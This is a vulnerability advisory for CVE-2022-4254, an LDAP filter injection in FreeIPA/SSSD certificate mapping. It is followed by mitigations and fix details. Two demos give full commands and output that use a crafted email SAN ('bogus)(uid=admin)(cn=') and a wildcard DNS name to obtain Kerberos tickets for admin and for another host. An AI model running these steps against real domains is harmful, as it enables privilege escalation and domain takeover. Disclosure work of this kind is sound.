Tags: , ,

CVE-2022-4254: FreeIPA PKINIT certificate mapping vulnerability

Executive summary §

FreeIPA supports the Kerberos PKINIT protocol extension (RFC 4556). PKINIT enables a client to authenticate to the KDC using an X.509 certificate and the corresonding private key, rather than a passphrase or keytab. FreeIPA uses mapping rules to map a certificate presented during a PKINIT authentication request to the corresponding principal. The mapping filter is vulnerable to LDAP filter injection. The search result can be influenced by values in the certificate, which may be attacker controlled. In the most extreme case, an attacker could gain control of the admin account, leading to full domain takeover.

FreeIPA is not vulnerable in its default configuration. To exploit this bug requires:

The issue was assigned CVE-2022-4254.

Affected versions §

The problem is in libsss_certmap, which is part of SSSD. FreeIPA servers use this library in ipa_kdb Kerberos plugin implementation.

The issue was introduced in SSSD 1.15.3 (when libsss_certmap was introduced) and resolved in SSSD 2.3.1.

All supported versions of RHEL 7 were affected (the fix was released on the RHEL 7.9 bugfix stream). RHEL 8.0 up to 8.3 (inclusive) were also affected (the fix was released to the still-supported streams).

RHEL 8.4 onwards and RHEL 9 are not affected. No supported versions of Fedora are affected.

Timeline §

Problem description §

FreeIPA supports certificate mapping rules for mapping certificates presented during PKINIT authentication to a Kerberos principal. Certmap rules are stored in the LDAP database under cn=certmaprules,cn=certmap,{basedn}. The ipa_kdb plugin uses libsss_certmap to process certmap rules. An example rule object:

dn: cn=certmap1,cn=certmaprules,cn=certmap,dc=ipa,dc=test
cn: certmap1
ipacertmapmaprule: (|(mail={subject_rfc822_name})(entryDN={subject_dn}))
ipaenabledflag: TRUE
objectClass: ipacertmaprule
objectClass: top

The ipacertmaprule attribute is a string representation of an LDAP filter (RFC 4515), with substitution templates in curly braces (e.g. {subject_dn}). Template substitution is performed by the sss_certmap_get_search_filter subroutine. The supported templates are described in sss_certmap(5). They include:

The KDC uses the resulting filter within a bigger search filter that it uses to match the principal. The filter includes the requested principal name from the Kerberos authentication service request (AS_REQ), and the maprule filter. The complete filter has the following structure (wrapped for readability):

(&
  (|
    (objectClass=krbprincipalaux)
    (objectClass=krbprincipal)
    (objectClass=ipakrbprincipal)
  )
  (|
    (ipaKrbPrincipalAlias=REQUESTED_PRINCIPAL@REQUESTED_REALM)
    (krbPrincipalName:caseIgnoreIA5Match:=REQUESTED_PRINCPAL@REQUESTED_REALM)
  )
  MAPRULE_FILTER_GOES_HERE
)

Note that the requested principal is specified by the client in the Kerberos AS_REQ. This value is properly escaped where it is inserted in the filter. But it is important to note that the client can specify any principal the maprule filter fragment matches.

Sanitisation not performed §

Some template substitutions are inherently safe, but some use values from the certificate that could contain characters with special meaning in LDAP filters. Of the substitutions listed above, only {cert!base64} is safe. The others could contain special characters (and there are still more that I did not list). Values that could contain special characters have to be sanitised (escaped). Specifically, the following characters must be replaced with a hex escape sequence:

The affected versions of SSSD do not perform this sanitisation. As a consequence, the template substitutions can result in invalid filters (resulting in authentication failure) or filters that match the wrong principal entry (dangerous). The next two sections demonstrate two different exploit scenarios.

LDAP filter injection has been assigned CWE-90 in the Common Weakness Enumeration database. Conceptually it is very similar to SQL injection (CWE-89).

Demo 1: Attacker-supplied rfc822Name §

We will issue a certificate with an attacker-supplied rfc822Name SAN value to an unprivileged user. The deployment has a plausible certmap rule with a structure that can be exploited to obtain a TGT for an attacker-specified user account, including highly privileged accounts such as admin.

It is a fresh deployment running FreeIPA 4.6 on RHEL 7.9:

# cat /etc/redhat-release
Red Hat Enterprise Linux Server release 7.9 (Maipo)

# rpm -qa |grep ipa-
ipa-client-4.6.8-5.el7.x86_64
sssd-ipa-1.16.5-10.el7.x86_64
ipa-server-4.6.8-5.el7.x86_64
ipa-common-4.6.8-5.el7.noarch
ipa-client-common-4.6.8-5.el7.noarch
ipa-server-common-4.6.8-5.el7.noarch

Setup §

Setup steps establish the user account, certmap rules, certificate profiles and issuance policies required for the subsequent attack. I perform these steps using the admin account:

# klist
Ticket cache: KEYRING:persistent:0:0
Default principal: admin@IPA.TEST

Valid starting     Expires            Service principal
28/11/22 23:00:19  29/11/22 23:00:07  ldap/rhel78-0.ipa.test@IPA.TEST
28/11/22 23:00:09  29/11/22 23:00:07  krbtgt/IPA.TEST@IPA.TEST

Create the unprivileged user alice. She will be the subject principal to whom the certificate will be issued.

# ipa user-add alice --first Alice --last Able --password
Password: XXXXXXXX
Enter Password again to verify: XXXXXXXX
------------------
Added user "alice"
------------------
...

Add a new mail attribute to alice’s LDAP entry. This will enable us to issue a certificate from the internal CA that includes the value as an rfc822Name Subject Alternative Name value.

# echo > mod.ldif <<EOF
dn: uid=alice,cn=users,cn=accounts,dc=ipa,dc=test
changetype: modify
add: mail
mail: "bogus)(uid=admin)(cn="@ipa.test
EOF

# ldapmodify -Y GSSAPI < mod.ldif
modifying entry "uid=alice,cn=users,cn=accounts,dc=ipa,dc=test"

I had to add the new mail attribute via ldapmodify because the email validation performed by the IPA API does not admit all valid local-part values. But it is in fact a valid email address.

The default access controls in FreeIPA do not allow non-admins to modify mail attributes, even in their own entry. But I use this approach because it is plausible for an organisation to have a system that allows employees to request a specific mail alias. Indeed we have such a system at Red Hat, although I don’t know if it would allow such an exotic value.

Next, add a CA ACL rule that permits certificate to be issued to user principals. For convenience we will use the included caIPAserviceCert profile. Typical real world user certificate scenarios would require a dedicated profile.

# ipa caacl-add users_caIPAserviceCert --usercat=all
-------------------------------------
Added CA ACL "users_caIPAserviceCert"
-------------------------------------
  ACL name: users_caIPAserviceCert
  Enabled: TRUE
  User category: all

# ipa caacl-add-profile users_caIPAserviceCert --certprofile caIPAserviceCert
  ACL name: users_caIPAserviceCert
  Enabled: TRUE
  User category: all
  Profiles: caIPAserviceCert
-------------------------
Number of members added 1
-------------------------

Finally add the certmap rule. It has a two-part or-list intended to match the rfc822Name from the certificate to the mail attribute, or else match the certificate subject DN to DN of the LDAP entry:

# ipa certmaprule-add certmap1 --maprule \
    "(|(mail={subject_rfc822_name})(entryDN={subject_dn}))"
--------------------------------------------------
Added Certificate Identity Mapping Rule "certmap1"
--------------------------------------------------
  Rule name: certmap1
  Mapping rule: (|(mail={subject_rfc822_name})(entryDN={subject_dn}))
  Enabled: TRUE

The steps performed above are not part of the exploit itself, and they require administrator privileges to perform. They are presented as plausible configurations, the likes of which may exist (or not) in a customer’s environment.

Exploit §

alice will request a certificate with the suspicious rfc822Name and acquire a TGT for the admin user. First obtain a TGT for alice (using password authentication):

$ kinit alice
Password for alice@IPA.TEST:

Create a new keypair and certificate signing request (CSR). The config causes the CSR to bear a SAN extension request containting the malicious rfc822Name:

$ echo > naughty.conf <<EOF
[ req ]
prompt = no
encrypt_key = no
distinguished_name = dn
req_extensions = exts
[ dn ]
commonName = "alice"
[ exts ]
subjectAltName=email:\"bogus)(uid=admin)(cn=\"@ipa.test
EOF

$ openssl req -new -config naughty.conf \
    -keyout naughty.key -out naughty.csr
Generating a 2048 bit RSA private key
..........+++
......................+++
writing new private key to 'naughty.key'
-----

Issue the certificate (this is a self-service certificate request, which FreeIPA allows, subject to CA ACLs):

$ ipa cert-request naughty.csr \
    --principal alice naughty.csr \
    --certificate-out naughty.pem
  Issuing CA: ipa
  Certificate: MIIEPjCC...
  Subject: CN=alice,O=IPA.TEST 202211171708
  Subject email address: "bogus)(uid=admin)(cn="@ipa.test
  Issuer: CN=Certificate Authority,O=IPA.TEST 202211171708
  Not Before: Tue Nov 29 04:42:58 2022 UTC
  Not After: Fri Nov 29 04:42:58 2024 UTC
  Serial number: 13
  Serial number (hex): 0xD

Finally, use the new certificate and key to obtain a TGT for admin:

$ kinit -X X509_user_identity=FILE:naughty.pem,naughty.key admin

$ klist
Ticket cache: KEYRING:persistent:1001:krb_ccache_UnnYkF2
Default principal: admin@IPA.TEST

Valid starting     Expires            Service principal
28/11/22 23:47:44  29/11/22 23:47:44  krbtgt/IPA.TEST@IPA.TEST

The exploit succeeds because the unescaped rfc822Name value results in a filter that matches the admin user (formatted for readability):

(&
  (|
    (objectClass=krbprincipalaux)
    (objectClass=krbprincipal)
    (objectClass=ipakrbprincipal)
  )
  (|
    (ipaKrbPrincipalAlias=admin@IPA.TEST)
    (krbPrincipalName:caseIgnoreIA5Match:=admin@IPA.TEST)
  )
  (|
    (mail="bogus)
    (uid=admin)
    (cn="@ipa.test)
    (entrydn=CN=alice,O=IPA.TEST 202211171708)
  )
)

Demo 2: Wildcard DNS name §

A wildcard certificate can be used to obtain a TGT for a different host principal.

Setup §

Add a profile for issuing wildcard certificates. I will skip the details and instead refer to my blog post on this topic.

Add a host called ipa.test, a host group called webservers, and make ipa.test a member of webservers:

# ipa host-add ipa.test --force
----------------------
Added host "ipa.test"
----------------------
  Host name: ipa.test
  Principal name: host/ipa.test@IPA.TEST
  Principal alias: host/ipa.test@IPA.TEST
  Password: False
  Keytab: False
  Managed by: ipa.test

# ipa hostgroup-add webservers
----------------------------
Added hostgroup "webservers"
----------------------------
  Host-group: webservers

# ipa hostgroup-add-member webservers --hosts ipa.test
  Host-group: webservers
  Member hosts: ipa.test
-------------------------
Number of members added 1
-------------------------

Add a CA ACL that allows webservers to be issued certificates via the wildcard profile:

# ipa caacl-add webservers_wildcard
----------------------------------
Added CA ACL "webservers_wildcard"
----------------------------------
  ACL name: webservers_wildcard
  Enabled: TRUE

# ipa caacl-add-host webservers_wildcard --hostgroup webservers
  ACL name: webservers_wildcard
  Enabled: TRUE
  Host Groups: webservers
-------------------------
Number of members added 1
-------------------------

# ipa caacl-add-profile webservers_wildcard --certprofile wildcard
  ACL name: webservers_wildcard
  Enabled: TRUE
  Profiles: wildcard
  Host Groups: webservers
-------------------------
Number of members added 1
-------------------------

Finally, add a certmap rule that uses SAN dNSName values to locate the principal:

# ipa certmaprule-add certmap2 \
    --maprule "(fqdn={subject_dns_name})"
--------------------------------------------------
Added Certificate Identity Mapping Rule "certmap2"
--------------------------------------------------
  Rule name: certmap2
  Mapping rule: (fqdn={subject_dns_name})
  Enabled: TRUE

Exploit §

We will issue a wildcard certificate for ipa.test, and use it to obtain a TGT for a different host. You could use Certmonger to request the certificate, but I will interact directly with FreeIPA via the ipa client program. The operator is the host/ipa.test principal (I kinited using the host keytab):

$ klist
Ticket cache: KEYRING:persistent:1001:krb_ccache_UnnYkF2
Default principal: host/ipa.test@IPA.TEST

Valid starting     Expires            Service principal
29/11/22 03:52:59  30/11/22 03:52:59  krbtgt/IPA.TEST@IPA.TEST

Create a keypair and CSR:

$ openssl req -new -subj '/CN=ipa.test/' -nodes \
    -keyout server.key -out server.csr
Generating a 2048 bit RSA private key
........................................................+++
.....................................................................................................................+++
writing new private key to 'server.key'
-----

Request the certificate, being sure to specify the wildcard profile:

$ ipa cert-request server.csr \
    --principal host/ipa.test \
    --profile-id wildcard \
    --certificate-out server.pem
  Issuing CA: ipa
  Certificate: MIIENTCC...
  Subject: CN=ipa.test,O=IPA.TEST 202211171708
  Subject DNS name: ipa.test, *.ipa.test
  Issuer: CN=Certificate Authority,O=IPA.TEST 202211171708
  Not Before: Tue Nov 29 09:14:09 2022 UTC
  Not After: Fri Nov 29 09:14:09 2024 UTC
  Serial number: 16
  Serial number (hex): 0x10

Finally, use the new certificate and key to obtain a TGT for a different host whose fqdn attributes matches the LDAP substring filter (fqdn=*.ipa.test). In this example I acquire the TGT for host/rhel78-0.ipa.test (one of the FreeIPA servers).

$ kinit -X X509_user_identity=FILE:server.pem,server.key \
    host/rhel78-0.ipa.test

$ klist
Ticket cache: KEYRING:persistent:1001:krb_ccache_UnnYkF2
Default principal: host/rhel78-0.ipa.test@IPA.TEST

Valid starting     Expires            Service principal
29/11/22 04:15:52  30/11/22 04:15:52  krbtgt/IPA.TEST@IPA.TEST

The exploit succeeds because the unescaped wildcard dNSName value results in a substring match filter (formatted for readability):

(&
  (|
    (objectClass=krbprincipalaux)
    (objectClass=krbprincipal)
    (objectClass=ipakrbprincipal)
  )
  (|
    (ipaKrbPrincipalAlias=host/rhel78-0.ipa.test@IPA.TEST)
    (krbPrincipalName:caseIgnoreIA5Match:=host/rhel78-0.ipa.test@IPA.TEST)
  )
  (fqdn=*.ipa.test)
)

The maprule filter matches any principal whose fqdn attribute ends in .ipa.test. This sub-filter could match multiple principle entries, but the client-specified principal name used in the krbPrincipalName and ipaKrbPricipalAlias filters select the one we want.

If there are multiple SAN values of the relevant type, the order is important. The last value is used in the template substitution. In my certificate, the last value is *.ipa.test so the exploit succeeds. If the order was reversed, the exploit would not succeed. This is an implementation detail of SSSD; it might as well have used the first value but it just happened to be implemented this way.

Discussion §

These exploits required a confluence of contributing factors to succeed. Deployments using PKINIT with exact certificate matching (the default) are also unaffected. The vulnerability only arises when the customer uses certmap rules. None are defined by default. Certmap rules (if they exist) are only potentially vulnerable; several other factors have to come together.

The attacker must obtain a valid certificate from a trusted CA for a key they control. Except in limited cases (e.g. wildcard DNS names) the attacker must to be able to influence the attributes on the certificate. Only free-form string attributes are potentially problematic. These include DNS name, email address, SAN DN values, principle names, and perhaps others. And there have to be SSSD certmap rule template substitutions for the targeted attribute(s).

Next, there had to be a certmap rule that substitutes the problematic value into the LDAP search filter. All filters that substitute free-form attributes are susceptible to exploitation. But in practice, or-list filters are more susceptible to exploitation than and-list or single-clause filters. This is because the attacker has more flexibility in how to make the filter match the target account. But as we saw in the wildcard dNSName example, even a single-clause filter fragment could be exploitable.

The default ACIs allow any authenticated account to read certmap rule entries. This may aid attackers in working out the attack details.

Note that most free-form attributes have additional syntax rules imposed upon them. For example, a SAN dNSName value should look like a DNS name, and a SAN rfc822Name value should be a valid email address. But the raw ASN.1 data does not guarantee this. Even legal values can be problematic (as demonstrated). But if a trusted CA can be induced to issue certificates that contain arbitrary data in those free-form attributes, there is an even greater risk of exploitation.

The use of the internal CA in this attack is incidental. The administrator can configure FreeIPA to trust external CAs for validating client PKINIT certificates. Any trusted CA can be used in the attack, if the attacker can cause it to issue certificates containing problematic values. Note that the KDC trusts the whole system trust store, not just the trusted CAs from the FreeIPA CA trust store. Certmap rules can be equipped with matching rules to restrict which issuers are allowed for PKINIT certificate matching, separate from CA trust for certification path verification purposes.

Mitigations §

Use exact certificate matching / do not use certmap rules §

PKINIT uses exact certificate matching by default. If feasible, you can rely on that method and disable or delete any certmap rules. ipa certmaprule-find lists all certmap rules that have been defined. Use ipa certmaprule-disable NAME or ipa certmaprule-del NAME to disable or delete certmap rules, respectively.

The main drawback to this approach is that each principal’s entry must have an up-to-date userCertificate attribute containing the user’s certificate(s). This increases the size of entries, and may have additional adminstrative overhead depending on how certificates are issued and managed.

Audit and de-risk certmap rules §

Non-santised parameter substitution in an LDAP filter or-list is riskier than in and-lists lists or single . Replace certmap rules containing or lists with multiple, separate certmap rules.

Ensure each rule is as specific as possible, and consider the possibility of outlier or malicious values in the certificate when designing certmap rules.

Review CA trust, profiles and validation §

Review the kinds of data, especially user-supplied or user-writeable data, that can be included on certificates issued by CAs that are trusted for PKINIT purposes. Audit how those data are validated.

Review and limit which CAs are trusted for PKINIT to only those that are necessary. If possible, consider using dedicated CAs for issuing the client certificates used for PKINIT. Use the certmap matching rule feature (not discussed here) to restrict the KDC to only allow certificates issued by the PKINIT CAs.

Fix §

Lack of sanitisation in certmap LDAP filter construction was recognised as a bug in SSSD issue pagure#4180 / github#5135. The framing of the issue was that legitimate values in the certificate were causing SSSD to construct invalid LDAP filters. It appears that the security implications were not recognised or discussed at that time.

SSSD commit a2b9a84460429181f2a4fa7e2bb5ab49fd561274 implemented the required sanitisation. SSSD 2.3.1 was the first release containing the fix. Commit 918fb32af6a271230bf87db47f78768edb9ca86c on 2022-01-06 backported the fix to the sssd-1.16 branch, but there has not yet been a new release from this branch containing the fix.

The SSSD team backported the fix to RHEL 7.9. It was included in Batch Update 20 which was released on 2022-01-24. Fixes to extended support streams for RHEL 8.1 and 8.2 were also released on that day, meaning that the issue is now fixed in all supported versions of RHEL.

Creative Commons License
Except where otherwise noted, this work is licensed under a Creative Commons Attribution 4.0 International License .